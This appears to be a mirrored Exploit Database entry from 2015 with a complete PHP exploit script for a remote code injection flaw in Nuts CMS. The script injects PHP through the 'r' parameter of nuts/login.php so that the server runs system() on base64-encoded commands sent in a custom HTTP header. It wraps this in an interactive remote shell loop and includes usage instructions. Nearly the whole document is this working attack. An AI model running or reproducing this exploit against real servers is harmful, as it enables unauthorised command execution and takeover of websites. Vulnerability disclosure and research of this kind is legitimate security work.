Nuts CMS – PHP Remote Code Injection / Execution

• Exploit Database
• 16 阅读

• 作者： Yakir Wizman
  日期： 2015-08-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37809/

• <?php
  # Nuts-CMS Remote PHP Code Injection / Execution 0day Exploit
  # 
  # Nuts CMS is a content management system (CMS), which enables you to build Web sites and powerful online applications.
  # Nuts CMS is an open source solution that is freely available to everyone.
  #
  # Discovered by Yakir Wizman
  # Date 17/08/2015
  # Vendor Homepage	: http://www.nuts-cms.com/
  # CVE				: N/A
  # Description		: Nuts CMS is vulnerable to php code injection due to improper input validation (CWE-20, https://cwe.mitre.org/data/definitions/20.html).
  ###
  # Exploit code:
  
  error_reporting(E_ALL);
  
  $error[0] = "[!] This script is intended to be launched from the cli.";
   
  if(php_sapi_name() <> "cli")
  	die($error[0]);
   
  if($argc < 3) {
  	echo("\nUsage: php {$argv[0]} <host> <path>");
  	echo("\nExample: php {$argv[0]} localhost /");
  	die();
  }
  
  if(isset($argv[1]) && isset($argv[2])) {
  	$host = $argv[1];
  	$path = $argv[2];
  }
  
  $pack = "GET {$path}nuts/login.php?r=<?php+error_reporting(0);print(_nutCmsId_);system(base64_decode(\$_SERVER[HTTP_CMD]));die;+?> HTTP/1.0\r\n";
  $pack.= "Host: {$host}\r\n";
  $pack.= "Cmd: %s\r\n";
  $pack.= "Connection: close\r\n\r\n";
  
  while(1) {
  	print "\nAnonymous@{$host}:~# ";
  if(($cmd = trim(fgets(STDIN))) == "exit")
  		break;
  	preg_match("/_nutCmsId_(.*)/s", http_send($host, sprintf($pack, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
  }
  
  function http_send($host, $pack) {
  	if(!($sock = fsockopen($host, 80)))
  		die("\n[-] No response from {$host}\n");
  	fwrite($sock, $pack);
  	return stream_get_contents($sock);
  }
  ?>